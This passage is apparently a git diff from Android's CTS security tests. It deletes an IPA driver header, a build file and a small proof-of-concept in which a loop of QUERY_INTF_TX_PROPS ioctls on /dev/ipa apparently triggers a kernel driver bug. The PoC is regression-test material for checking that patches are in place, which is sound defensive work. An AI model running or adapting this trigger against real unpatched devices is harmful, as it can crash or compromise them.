- uint16_t msg_len;
-};
-
-/**
- * struct ipa_wlan_msg - To hold information about wlan client
- * @name: name of the wlan interface
- * @mac_addr: mac address of wlan client
- *
- * wlan drivers need to pass name of wlan iface and mac address of
- * wlan client along with ipa_wlan_event, whenever a wlan client is
- * connected/disconnected/moved to power save/come out of power save
- */
-struct ipa_wlan_msg {
- char name[IPA_RESOURCE_NAME_MAX];
- uint8_t mac_addr[IPA_MAC_ADDR_SIZE];
-};
-
-/**
- * enum ipa_wlan_hdr_attrib_type - attribute type
- * in wlan client header
- *
- * WLAN_HDR_ATTRIB_MAC_ADDR: attrib type mac address
- * WLAN_HDR_ATTRIB_STA_ID: attrib type station id
- */
-enum ipa_wlan_hdr_attrib_type {
- WLAN_HDR_ATTRIB_MAC_ADDR,
- WLAN_HDR_ATTRIB_STA_ID
-};
-
-/**
- * struct ipa_wlan_hdr_attrib_val - header attribute value
- * @attrib_type: type of attribute
- * @offset: offset of attribute within header
- * @u.mac_addr: mac address
- * @u.sta_id: station id
- */
-struct ipa_wlan_hdr_attrib_val {
- enum ipa_wlan_hdr_attrib_type attrib_type;
- uint8_t offset;
- union {
- uint8_t mac_addr[IPA_MAC_ADDR_SIZE];
- uint8_t sta_id;
- } u;
-};
-
-/**
- * struct ipa_wlan_msg_ex - To hold information about wlan client
- * @name: name of the wlan interface
- * @num_of_attribs: number of attributes
- * @attrib_val: holds attribute values
- *
- * wlan drivers need to pass name of wlan iface and mac address
- * of wlan client or station id along with ipa_wlan_event,
- * whenever a wlan client is connected/disconnected/moved to
- * power save/come out of power save
- */
-struct ipa_wlan_msg_ex {
- char name[IPA_RESOURCE_NAME_MAX];
- uint8_t num_of_attribs;
- struct ipa_wlan_hdr_attrib_val attribs[0];
-};
-
-struct ipa_ecm_msg {
- char name[IPA_RESOURCE_NAME_MAX];
- int ifindex;
-};
-
-/**
- * struct ipa_wan_msg - To hold information about wan client
- * @name: name of the wan interface
- *
- * CnE need to pass the name of default wan iface when connected/disconnected.
- * netmgr need to pass the name of wan eMBMS iface when connected.
- */
-struct ipa_wan_msg {
- char upstream_ifname[IPA_RESOURCE_NAME_MAX];
- char tethered_ifname[IPA_RESOURCE_NAME_MAX];
- enum ipa_ip_type ip;
-};
-
-/**
- * struct ipa_ioc_rm_dependency - parameters for add/delete dependency
- * @resource_name: name of dependent resource
- * @depends_on_name: name of its dependency
- */
-struct ipa_ioc_rm_dependency {
- enum ipa_rm_resource_name resource_name;
- enum ipa_rm_resource_name depends_on_name;
-};
-
-struct ipa_ioc_generate_flt_eq {
- enum ipa_ip_type ip;
- struct ipa_rule_attrib attrib;
- struct ipa_ipfltri_rule_eq eq_attrib;
-};
-
-/**
- * struct ipa_ioc_write_qmapid - to write mux id to endpoint meta register
- * @mux_id: mux id of wan
- */
-struct ipa_ioc_write_qmapid {
- enum ipa_client_type client;
- uint8_t qmap_id;
-};
-
-enum ipacm_client_enum {
- IPACM_CLIENT_USB = 1,
- IPACM_CLIENT_WLAN,
- IPACM_CLIENT_MAX
-};
-/**
- * actual IOCTLs supported by IPA driver
- */
-#define IPA_IOC_ADD_HDR _IOWR(IPA_IOC_MAGIC, \
- IPA_IOCTL_ADD_HDR, \
- struct ipa_ioc_add_hdr *)
-#define IPA_IOC_DEL_HDR _IOWR(IPA_IOC_MAGIC, \
- IPA_IOCTL_DEL_HDR, \
- struct ipa_ioc_del_hdr *)
-#define IPA_IOC_ADD_RT_RULE _IOWR(IPA_IOC_MAGIC, \
- IPA_IOCTL_ADD_RT_RULE, \
- struct ipa_ioc_add_rt_rule *)
-#define IPA_IOC_ADD_RT_RULE_AFTER _IOWR(IPA_IOC_MAGIC, \
- IPA_IOCTL_ADD_RT_RULE_AFTER, \
- struct ipa_ioc_add_rt_rule_after *)
-#define IPA_IOC_DEL_RT_RULE _IOWR(IPA_IOC_MAGIC, \
- IPA_IOCTL_DEL_RT_RULE, \
- struct ipa_ioc_del_rt_rule *)
-#define IPA_IOC_ADD_FLT_RULE _IOWR(IPA_IOC_MAGIC, \
- IPA_IOCTL_ADD_FLT_RULE, \
- struct ipa_ioc_add_flt_rule *)
-#define IPA_IOC_ADD_FLT_RULE_AFTER _IOWR(IPA_IOC_MAGIC, \
- IPA_IOCTL_ADD_FLT_RULE_AFTER, \
- struct ipa_ioc_add_flt_rule_after *)
-#define IPA_IOC_DEL_FLT_RULE _IOWR(IPA_IOC_MAGIC, \
- IPA_IOCTL_DEL_FLT_RULE, \
- struct ipa_ioc_del_flt_rule *)
-#define IPA_IOC_COMMIT_HDR _IO(IPA_IOC_MAGIC,\
- IPA_IOCTL_COMMIT_HDR)
-#define IPA_IOC_RESET_HDR _IO(IPA_IOC_MAGIC,\
- IPA_IOCTL_RESET_HDR)
-#define IPA_IOC_COMMIT_RT _IOW(IPA_IOC_MAGIC, \
- IPA_IOCTL_COMMIT_RT, \
- enum ipa_ip_type)
-#define IPA_IOC_RESET_RT _IOW(IPA_IOC_MAGIC, \
- IPA_IOCTL_RESET_RT, \
- enum ipa_ip_type)
-#define IPA_IOC_COMMIT_FLT _IOW(IPA_IOC_MAGIC, \
- IPA_IOCTL_COMMIT_FLT, \
- enum ipa_ip_type)
-#define IPA_IOC_RESET_FLT _IOW(IPA_IOC_MAGIC, \
- IPA_IOCTL_RESET_FLT, \
- enum ipa_ip_type)
-#define IPA_IOC_DUMP _IO(IPA_IOC_MAGIC, \
- IPA_IOCTL_DUMP)
-#define IPA_IOC_GET_RT_TBL _IOWR(IPA_IOC_MAGIC, \
- IPA_IOCTL_GET_RT_TBL, \
- struct ipa_ioc_get_rt_tbl *)
-#define IPA_IOC_PUT_RT_TBL _IOW(IPA_IOC_MAGIC, \
- IPA_IOCTL_PUT_RT_TBL, \
- uint32_t)
-#define IPA_IOC_COPY_HDR _IOWR(IPA_IOC_MAGIC, \
- IPA_IOCTL_COPY_HDR, \
- struct ipa_ioc_copy_hdr *)
-#define IPA_IOC_QUERY_INTF _IOWR(IPA_IOC_MAGIC, \
- IPA_IOCTL_QUERY_INTF, \
- struct ipa_ioc_query_intf *)
-#define IPA_IOC_QUERY_INTF_TX_PROPS _IOWR(IPA_IOC_MAGIC, \
- IPA_IOCTL_QUERY_INTF_TX_PROPS, \
- struct ipa_ioc_query_intf_tx_props *)
-#define IPA_IOC_QUERY_INTF_RX_PROPS _IOWR(IPA_IOC_MAGIC, \
- IPA_IOCTL_QUERY_INTF_RX_PROPS, \
- struct ipa_ioc_query_intf_rx_props *)
-#define IPA_IOC_QUERY_INTF_EXT_PROPS _IOWR(IPA_IOC_MAGIC, \
- IPA_IOCTL_QUERY_INTF_EXT_PROPS, \
- struct ipa_ioc_query_intf_ext_props *)
-#define IPA_IOC_GET_HDR _IOWR(IPA_IOC_MAGIC, \
- IPA_IOCTL_GET_HDR, \
- struct ipa_ioc_get_hdr *)
-#define IPA_IOC_PUT_HDR _IOW(IPA_IOC_MAGIC, \
- IPA_IOCTL_PUT_HDR, \
- uint32_t)
-#define IPA_IOC_ALLOC_NAT_MEM _IOWR(IPA_IOC_MAGIC, \
- IPA_IOCTL_ALLOC_NAT_MEM, \
- struct ipa_ioc_nat_alloc_mem *)
-#define IPA_IOC_V4_INIT_NAT _IOWR(IPA_IOC_MAGIC, \
- IPA_IOCTL_V4_INIT_NAT, \
- struct ipa_ioc_v4_nat_init *)
-#define IPA_IOC_NAT_DMA _IOWR(IPA_IOC_MAGIC, \
- IPA_IOCTL_NAT_DMA, \
- struct ipa_ioc_nat_dma_cmd *)
-#define IPA_IOC_V4_DEL_NAT _IOWR(IPA_IOC_MAGIC, \
- IPA_IOCTL_V4_DEL_NAT, \
- struct ipa_ioc_v4_nat_del *)
-#define IPA_IOC_GET_NAT_OFFSET _IOWR(IPA_IOC_MAGIC, \
- IPA_IOCTL_GET_NAT_OFFSET, \
- uint32_t *)
-#define IPA_IOC_SET_FLT _IOW(IPA_IOC_MAGIC, \
- IPA_IOCTL_SET_FLT, \
- uint32_t)
-#define IPA_IOC_PULL_MSG _IOWR(IPA_IOC_MAGIC, \
- IPA_IOCTL_PULL_MSG, \
- struct ipa_msg_meta *)
-#define IPA_IOC_RM_ADD_DEPENDENCY _IOWR(IPA_IOC_MAGIC, \
- IPA_IOCTL_RM_ADD_DEPENDENCY, \
- struct ipa_ioc_rm_dependency *)
-#define IPA_IOC_RM_DEL_DEPENDENCY _IOWR(IPA_IOC_MAGIC, \
- IPA_IOCTL_RM_DEL_DEPENDENCY, \
- struct ipa_ioc_rm_dependency *)
-#define IPA_IOC_GENERATE_FLT_EQ _IOWR(IPA_IOC_MAGIC, \
- IPA_IOCTL_GENERATE_FLT_EQ, \
- struct ipa_ioc_generate_flt_eq *)
-#define IPA_IOC_QUERY_EP_MAPPING _IOR(IPA_IOC_MAGIC, \
- IPA_IOCTL_QUERY_EP_MAPPING, \
- uint32_t)
-#define IPA_IOC_QUERY_RT_TBL_INDEX _IOWR(IPA_IOC_MAGIC, \
- IPA_IOCTL_QUERY_RT_TBL_INDEX, \
- struct ipa_ioc_get_rt_tbl_indx *)
-#define IPA_IOC_WRITE_QMAPID _IOWR(IPA_IOC_MAGIC, \
- IPA_IOCTL_WRITE_QMAPID, \
- struct ipa_ioc_write_qmapid *)
-#define IPA_IOC_MDFY_FLT_RULE _IOWR(IPA_IOC_MAGIC, \
- IPA_IOCTL_MDFY_FLT_RULE, \
- struct ipa_ioc_mdfy_flt_rule *)
-#define IPA_IOC_MDFY_RT_RULE _IOWR(IPA_IOC_MAGIC, \
- IPA_IOCTL_MDFY_RT_RULE, \
- struct ipa_ioc_mdfy_rt_rule *)
-
-#define IPA_IOC_NOTIFY_WAN_UPSTREAM_ROUTE_ADD _IOWR(IPA_IOC_MAGIC, \
- IPA_IOCTL_NOTIFY_WAN_UPSTREAM_ROUTE_ADD, \
- struct ipa_wan_msg *)
-
-#define IPA_IOC_NOTIFY_WAN_UPSTREAM_ROUTE_DEL _IOWR(IPA_IOC_MAGIC, \
- IPA_IOCTL_NOTIFY_WAN_UPSTREAM_ROUTE_DEL, \
- struct ipa_wan_msg *)
-#define IPA_IOC_NOTIFY_WAN_EMBMS_CONNECTED _IOWR(IPA_IOC_MAGIC, \
- IPA_IOCTL_NOTIFY_WAN_EMBMS_CONNECTED, \
- struct ipa_wan_msg *)
-#define IPA_IOC_ADD_HDR_PROC_CTX _IOWR(IPA_IOC_MAGIC, \
- IPA_IOCTL_ADD_HDR_PROC_CTX, \
- struct ipa_ioc_add_hdr_proc_ctx *)
-#define IPA_IOC_DEL_HDR_PROC_CTX _IOWR(IPA_IOC_MAGIC, \
- IPA_IOCTL_DEL_HDR_PROC_CTX, \
- struct ipa_ioc_del_hdr_proc_ctx *)
-
-#define IPA_IOC_GET_HW_VERSION _IOWR(IPA_IOC_MAGIC, \
- IPA_IOCTL_GET_HW_VERSION, \
- enum ipa_hw_type *)
-
-/*
- * unique magic number of the Tethering bridge ioctls
- */
-#define TETH_BRIDGE_IOC_MAGIC 0xCE
-
-/*
- * Ioctls supported by Tethering bridge driver
- */
-#define TETH_BRIDGE_IOCTL_SET_BRIDGE_MODE 0
-#define TETH_BRIDGE_IOCTL_SET_AGGR_PARAMS 1
-#define TETH_BRIDGE_IOCTL_GET_AGGR_PARAMS 2
-#define TETH_BRIDGE_IOCTL_GET_AGGR_CAPABILITIES 3
-#define TETH_BRIDGE_IOCTL_MAX 4
-
-
-/**
- * enum teth_link_protocol_type - link protocol (IP / Ethernet)
- */
-enum teth_link_protocol_type {
- TETH_LINK_PROTOCOL_IP,
- TETH_LINK_PROTOCOL_ETHERNET,
- TETH_LINK_PROTOCOL_MAX,
-};
-
-/**
- * enum teth_aggr_protocol_type - Aggregation protocol (MBIM / TLP)
- */
-enum teth_aggr_protocol_type {
- TETH_AGGR_PROTOCOL_NONE,
- TETH_AGGR_PROTOCOL_MBIM,
- TETH_AGGR_PROTOCOL_TLP,
- TETH_AGGR_PROTOCOL_MAX,
-};
-
-/**
- * struct teth_aggr_params_link - Aggregation parameters for uplink/downlink
- * @aggr_prot: Aggregation protocol (MBIM / TLP)
- * @max_transfer_size_byte: Maximal size of aggregated packet in bytes.
- * Default value is 16*1024.
- * @max_datagrams: Maximal number of IP packets in an aggregated
- * packet. Default value is 16
- */
-struct teth_aggr_params_link {
- enum teth_aggr_protocol_type aggr_prot;
- uint32_t max_transfer_size_byte;
- uint32_t max_datagrams;
-};
-
-
-/**
- * struct teth_aggr_params - Aggregation parmeters
- * @ul: Uplink parameters
- * @dl: Downlink parmaeters
- */
-struct teth_aggr_params {
- struct teth_aggr_params_link ul;
- struct teth_aggr_params_link dl;
-};
-
-/**
- * struct teth_aggr_capabilities - Aggregation capabilities
- * @num_protocols: Number of protocols described in the array
- * @prot_caps[]: Array of aggregation capabilities per protocol
- */
-struct teth_aggr_capabilities {
- uint16_t num_protocols;
- struct teth_aggr_params_link prot_caps[0];
-};
-
-/**
- * struct teth_ioc_set_bridge_mode
- * @link_protocol: link protocol (IP / Ethernet)
- * @lcid: logical channel number
- */
-struct teth_ioc_set_bridge_mode {
- enum teth_link_protocol_type link_protocol;
- uint16_t lcid;
-};
-
-/**
- * struct teth_ioc_set_aggr_params
- * @aggr_params: Aggregation parmeters
- * @lcid: logical channel number
- */
-struct teth_ioc_aggr_params {
- struct teth_aggr_params aggr_params;
- uint16_t lcid;
-};
-
-
-#define TETH_BRIDGE_IOC_SET_BRIDGE_MODE _IOW(TETH_BRIDGE_IOC_MAGIC, \
- TETH_BRIDGE_IOCTL_SET_BRIDGE_MODE, \
- struct teth_ioc_set_bridge_mode *)
-#define TETH_BRIDGE_IOC_SET_AGGR_PARAMS _IOW(TETH_BRIDGE_IOC_MAGIC, \
- TETH_BRIDGE_IOCTL_SET_AGGR_PARAMS, \
- struct teth_ioc_aggr_params *)
-#define TETH_BRIDGE_IOC_GET_AGGR_PARAMS _IOR(TETH_BRIDGE_IOC_MAGIC, \
- TETH_BRIDGE_IOCTL_GET_AGGR_PARAMS, \
- struct teth_ioc_aggr_params *)
-#define TETH_BRIDGE_IOC_GET_AGGR_CAPABILITIES _IOWR(TETH_BRIDGE_IOC_MAGIC, \
- TETH_BRIDGE_IOCTL_GET_AGGR_CAPABILITIES, \
- struct teth_aggr_capabilities *)
-
-/*
- * unique magic number of the ODU bridge ioctls
- */
-#define ODU_BRIDGE_IOC_MAGIC 0xCD
-
-/*
- * Ioctls supported by ODU bridge driver
- */
-#define ODU_BRIDGE_IOCTL_SET_MODE 0
-#define ODU_BRIDGE_IOCTL_SET_LLV6_ADDR 1
-#define ODU_BRIDGE_IOCTL_MAX 2
-
-/**
- * enum odu_bridge_mode - bridge mode
- * (ROUTER MODE / BRIDGE MODE)
- */
-enum odu_bridge_mode {
- ODU_BRIDGE_MODE_ROUTER,
- ODU_BRIDGE_MODE_BRIDGE,
- ODU_BRIDGE_MODE_MAX,
-};
-
-#define ODU_BRIDGE_IOC_SET_MODE _IOW(ODU_BRIDGE_IOC_MAGIC, \
- ODU_BRIDGE_IOCTL_SET_MODE, \
- enum odu_bridge_mode)
-
-#define ODU_BRIDGE_IOC_SET_LLV6_ADDR _IOW(ODU_BRIDGE_IOC_MAGIC, \
- ODU_BRIDGE_IOCTL_SET_LLV6_ADDR, \
- struct in6_addr *)
-
-#endif /* _UAPI_MSM_IPA_H_ */
diff --git a/hostsidetests/security/securityPatch/Bug-35047217/poc.cpp b/hostsidetests/security/securityPatch/Bug-35047217/poc.cpp
deleted file mode 100644
index 34adca0..0000000
--- a/hostsidetests/security/securityPatch/Bug-35047217/poc.cpp
+++ /dev/null
@@ -1,65 +0,0 @@
-/**
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions
- * and limitations under the License.
- **/
-
-
-#define _GNU_SOURCE
-
-#include <pthread.h>
-#include <sys/types.h>
-#include <sys/wait.h>
-
-#include <sys/stat.h>
-#include <fcntl.h>
-#include <sys/ioctl.h>
-#include <string.h>
-#include "local_poc.h"
-#include <unistd.h>
-#include <stdio.h>
-
-struct ipa_ioc_query_intf_tx_props_2 {
- char name[IPA_RESOURCE_NAME_MAX];
- uint32_t num_tx_props;
- struct ipa_ioc_tx_intf_prop tx[2];
-};
-
-int main() {
-
- int fd = open("/dev/ipa", O_RDWR);
-
- struct ipa_ioc_query_intf query_intf;
- strlcpy(&(query_intf.name[0]), "rmnet_data0", IPA_RESOURCE_NAME_MAX);
-
- int result = ioctl(fd, IPA_IOC_QUERY_INTF, &query_intf);
-
- ipa_ioc_query_intf_tx_props_2 tx_props_2;
- memset(&tx_props_2, 0, sizeof(tx_props_2));
- strlcpy(&(tx_props_2.name[0]), "rmnet_data0", IPA_RESOURCE_NAME_MAX);
- tx_props_2.num_tx_props = 2;
-
- int result2 = ioctl(fd, IPA_IOC_QUERY_INTF_TX_PROPS, &tx_props_2);
-
- while (true) {
- ipa_ioc_query_intf_tx_props tx_props;
- memset(&tx_props, 0, sizeof(tx_props));
- strlcpy(&(tx_props.name[0]), "rmnet_data0", IPA_RESOURCE_NAME_MAX);
- tx_props.num_tx_props = 0;
-
- int result3 = ioctl(fd, IPA_IOC_QUERY_INTF_TX_PROPS, &tx_props);
-
- usleep(10000);
- }
- return 0;
-}
diff --git a/hostsidetests/security/securityPatch/Bug-35047780/Android.mk b/hostsidetests/security/securityPatch/Bug-35047780/Android.mk
deleted file mode 100644
index d4c91bb..0000000
--- a/hostsidetests/security/securityPatch/Bug-35047780/Android.mk
+++ /dev/null
@@ -1,35 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := Bug-35047780
-LOCAL_SRC_FILES := poc.cpp
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
-LOCAL_LDFLAGS += -fPIE -pie
-LDFLAGS += -rdynamic
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/Bug-35047780/local_poc.h b/hostsidetests/security/securityPatch/Bug-35047780/local_poc.h
deleted file mode 100644
index 106681c..0000000
--- a/hostsidetests/security/securityPatch/Bug-35047780/local_poc.h
+++ /dev/null
@@ -1,1759 +0,0 @@
-/**
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-#ifndef _UAPI_MSM_IPA_H_
-#define _UAPI_MSM_IPA_H_
-
-#ifndef __KERNEL__
-#include <stdint.h>
-#include <stddef.h>
-#include <sys/stat.h>
-#endif
-#include <linux/ioctl.h>
-#include <linux/types.h>
-#include <linux/if_ether.h>
-
-/**
- * unique magic number of the IPA device
- */
-#define IPA_IOC_MAGIC 0xCF
-
-/**
- * name of the default routing tables for v4 and v6
- */
-#define IPA_DFLT_RT_TBL_NAME "ipa_dflt_rt"
-
-/**
- * the commands supported by IPA driver
- */
-#define IPA_IOCTL_ADD_HDR 0
-#define IPA_IOCTL_DEL_HDR 1
-#define IPA_IOCTL_ADD_RT_RULE 2
-#define IPA_IOCTL_DEL_RT_RULE 3
-#define IPA_IOCTL_ADD_FLT_RULE 4
-#define IPA_IOCTL_DEL_FLT_RULE 5
-#define IPA_IOCTL_COMMIT_HDR 6
-#define IPA_IOCTL_RESET_HDR 7
-#define IPA_IOCTL_COMMIT_RT 8
-#define IPA_IOCTL_RESET_RT 9
-#define IPA_IOCTL_COMMIT_FLT 10
-#define IPA_IOCTL_RESET_FLT 11
-#define IPA_IOCTL_DUMP 12
-#define IPA_IOCTL_GET_RT_TBL 13
-#define IPA_IOCTL_PUT_RT_TBL 14
-#define IPA_IOCTL_COPY_HDR 15
-#define IPA_IOCTL_QUERY_INTF 16
-#define IPA_IOCTL_QUERY_INTF_TX_PROPS 17
-#define IPA_IOCTL_QUERY_INTF_RX_PROPS 18
-#define IPA_IOCTL_GET_HDR 19
-#define IPA_IOCTL_PUT_HDR 20
-#define IPA_IOCTL_SET_FLT 21
-#define IPA_IOCTL_ALLOC_NAT_MEM 22
-#define IPA_IOCTL_V4_INIT_NAT 23
-#define IPA_IOCTL_NAT_DMA 24
-#define IPA_IOCTL_V4_DEL_NAT 26
-#define IPA_IOCTL_PULL_MSG 27
-#define IPA_IOCTL_GET_NAT_OFFSET 28
-#define IPA_IOCTL_RM_ADD_DEPENDENCY 29
-#define IPA_IOCTL_RM_DEL_DEPENDENCY 30
-#define IPA_IOCTL_GENERATE_FLT_EQ 31
-#define IPA_IOCTL_QUERY_INTF_EXT_PROPS 32
-#define IPA_IOCTL_QUERY_EP_MAPPING 33
-#define IPA_IOCTL_QUERY_RT_TBL_INDEX 34
-#define IPA_IOCTL_WRITE_QMAPID 35
-#define IPA_IOCTL_MDFY_FLT_RULE 36
-#define IPA_IOCTL_NOTIFY_WAN_UPSTREAM_ROUTE_ADD 37
-#define IPA_IOCTL_NOTIFY_WAN_UPSTREAM_ROUTE_DEL 38
-#define IPA_IOCTL_NOTIFY_WAN_EMBMS_CONNECTED 39
-#define IPA_IOCTL_ADD_HDR_PROC_CTX 40
-#define IPA_IOCTL_DEL_HDR_PROC_CTX 41
-#define IPA_IOCTL_MDFY_RT_RULE 42
-#define IPA_IOCTL_ADD_RT_RULE_AFTER 43
-#define IPA_IOCTL_ADD_FLT_RULE_AFTER 44
-#define IPA_IOCTL_GET_HW_VERSION 45
-#define IPA_IOCTL_MAX 46
-
-/**
- * max size of the header to be inserted
- */
-#define IPA_HDR_MAX_SIZE 64
-
-/**
- * max size of the name of the resource (routing table, header)
- */
-#define IPA_RESOURCE_NAME_MAX 32
-
-/**
- * max number of interface properties
- */
-#define IPA_NUM_PROPS_MAX 35
-
-/**
- * size of the mac address
- */
-#define IPA_MAC_ADDR_SIZE 6
-
-/**
- * max number of mbim streams
- */
-#define IPA_MBIM_MAX_STREAM_NUM 8
-
-/**
- * the attributes of the rule (routing or filtering)
- */
-#define IPA_FLT_TOS (1ul << 0)
-#define IPA_FLT_PROTOCOL (1ul << 1)
-#define IPA_FLT_SRC_ADDR (1ul << 2)
-#define IPA_FLT_DST_ADDR (1ul << 3)
-#define IPA_FLT_SRC_PORT_RANGE (1ul << 4)
-#define IPA_FLT_DST_PORT_RANGE (1ul << 5)
-#define IPA_FLT_TYPE (1ul << 6)
-#define IPA_FLT_CODE (1ul << 7)
-#define IPA_FLT_SPI (1ul << 8)
-#define IPA_FLT_SRC_PORT (1ul << 9)
-#define IPA_FLT_DST_PORT (1ul << 10)
-#define IPA_FLT_TC (1ul << 11)
-#define IPA_FLT_FLOW_LABEL (1ul << 12)
-#define IPA_FLT_NEXT_HDR (1ul << 13)
-#define IPA_FLT_META_DATA (1ul << 14)
-#define IPA_FLT_FRAGMENT (1ul << 15)
-#define IPA_FLT_TOS_MASKED (1ul << 16)
-#define IPA_FLT_MAC_SRC_ADDR_ETHER_II (1ul << 17)
-#define IPA_FLT_MAC_DST_ADDR_ETHER_II (1ul << 18)
-#define IPA_FLT_MAC_SRC_ADDR_802_3 (1ul << 19)
-#define IPA_FLT_MAC_DST_ADDR_802_3 (1ul << 20)
-#define IPA_FLT_MAC_ETHER_TYPE (1ul << 21)
-
-/**
- * enum ipa_client_type - names for the various IPA "clients"
- * these are from the perspective of the clients, for e.g.
- * HSIC1_PROD means HSIC client is the producer and IPA is the
- * consumer
- */
-enum ipa_client_type {
- IPA_CLIENT_PROD,
- IPA_CLIENT_HSIC1_PROD = IPA_CLIENT_PROD,
- IPA_CLIENT_WLAN1_PROD,
- IPA_CLIENT_HSIC2_PROD,
- IPA_CLIENT_USB2_PROD,
- IPA_CLIENT_HSIC3_PROD,
- IPA_CLIENT_USB3_PROD,
- IPA_CLIENT_HSIC4_PROD,
- IPA_CLIENT_USB4_PROD,
- IPA_CLIENT_HSIC5_PROD,
- IPA_CLIENT_USB_PROD,
- IPA_CLIENT_A5_WLAN_AMPDU_PROD,
- IPA_CLIENT_A2_EMBEDDED_PROD,
- IPA_CLIENT_A2_TETHERED_PROD,
- IPA_CLIENT_APPS_LAN_WAN_PROD,
- IPA_CLIENT_APPS_CMD_PROD,
- IPA_CLIENT_ODU_PROD,
- IPA_CLIENT_MHI_PROD,
- IPA_CLIENT_Q6_LAN_PROD,
- IPA_CLIENT_Q6_WAN_PROD,
- IPA_CLIENT_Q6_CMD_PROD,
- IPA_CLIENT_MEMCPY_DMA_SYNC_PROD,
- IPA_CLIENT_MEMCPY_DMA_ASYNC_PROD,
- IPA_CLIENT_Q6_DECOMP_PROD,
- IPA_CLIENT_Q6_DECOMP2_PROD,
- IPA_CLIENT_UC_USB_PROD,
-
- /* Below PROD client type is only for test purpose */
- IPA_CLIENT_TEST_PROD,
- IPA_CLIENT_TEST1_PROD,
- IPA_CLIENT_TEST2_PROD,
- IPA_CLIENT_TEST3_PROD,
- IPA_CLIENT_TEST4_PROD,
-
- IPA_CLIENT_CONS,
- IPA_CLIENT_HSIC1_CONS = IPA_CLIENT_CONS,
- IPA_CLIENT_WLAN1_CONS,
- IPA_CLIENT_HSIC2_CONS,
- IPA_CLIENT_USB2_CONS,
- IPA_CLIENT_WLAN2_CONS,
- IPA_CLIENT_HSIC3_CONS,
- IPA_CLIENT_USB3_CONS,
- IPA_CLIENT_WLAN3_CONS,
- IPA_CLIENT_HSIC4_CONS,
- IPA_CLIENT_USB4_CONS,
- IPA_CLIENT_WLAN4_CONS,
- IPA_CLIENT_HSIC5_CONS,
- IPA_CLIENT_USB_CONS,
- IPA_CLIENT_USB_DPL_CONS,
- IPA_CLIENT_A2_EMBEDDED_CONS,
- IPA_CLIENT_A2_TETHERED_CONS,
- IPA_CLIENT_A5_LAN_WAN_CONS,
- IPA_CLIENT_APPS_LAN_CONS,
- IPA_CLIENT_APPS_WAN_CONS,
- IPA_CLIENT_ODU_EMB_CONS,
- IPA_CLIENT_ODU_TETH_CONS,
- IPA_CLIENT_MHI_CONS,
- IPA_CLIENT_Q6_LAN_CONS,
- IPA_CLIENT_Q6_WAN_CONS,
- IPA_CLIENT_Q6_DUN_CONS,
- IPA_CLIENT_MEMCPY_DMA_SYNC_CONS,
- IPA_CLIENT_MEMCPY_DMA_ASYNC_CONS,
- IPA_CLIENT_Q6_DECOMP_CONS,
- IPA_CLIENT_Q6_DECOMP2_CONS,
- IPA_CLIENT_Q6_LTE_WIFI_AGGR_CONS,
- /* Below CONS client type is only for test purpose */
- IPA_CLIENT_TEST_CONS,
- IPA_CLIENT_TEST1_CONS,
- IPA_CLIENT_TEST2_CONS,
- IPA_CLIENT_TEST3_CONS,
- IPA_CLIENT_TEST4_CONS,
-
- IPA_CLIENT_MAX,
-};
-
-#define IPA_CLIENT_IS_APPS_CONS(client) \
- ((client) == IPA_CLIENT_APPS_LAN_CONS || \
- (client) == IPA_CLIENT_APPS_WAN_CONS)
-
-#define IPA_CLIENT_IS_USB_CONS(client) \
- ((client) == IPA_CLIENT_USB_CONS || \
- (client) == IPA_CLIENT_USB2_CONS || \
- (client) == IPA_CLIENT_USB3_CONS || \
- (client) == IPA_CLIENT_USB_DPL_CONS || \
- (client) == IPA_CLIENT_USB4_CONS)
-
-#define IPA_CLIENT_IS_WLAN_CONS(client) \
- ((client) == IPA_CLIENT_WLAN1_CONS || \
- (client) == IPA_CLIENT_WLAN2_CONS || \
- (client) == IPA_CLIENT_WLAN3_CONS || \
- (client) == IPA_CLIENT_WLAN4_CONS)
-
-#define IPA_CLIENT_IS_ODU_CONS(client) \
- ((client) == IPA_CLIENT_ODU_EMB_CONS || \
- (client) == IPA_CLIENT_ODU_TETH_CONS)
-
-#define IPA_CLIENT_IS_Q6_CONS(client) \
- ((client) == IPA_CLIENT_Q6_LAN_CONS || \
- (client) == IPA_CLIENT_Q6_WAN_CONS || \
- (client) == IPA_CLIENT_Q6_DUN_CONS || \
- (client) == IPA_CLIENT_Q6_DECOMP_CONS || \
- (client) == IPA_CLIENT_Q6_DECOMP2_CONS || \
- (client) == IPA_CLIENT_Q6_LTE_WIFI_AGGR_CONS)
-
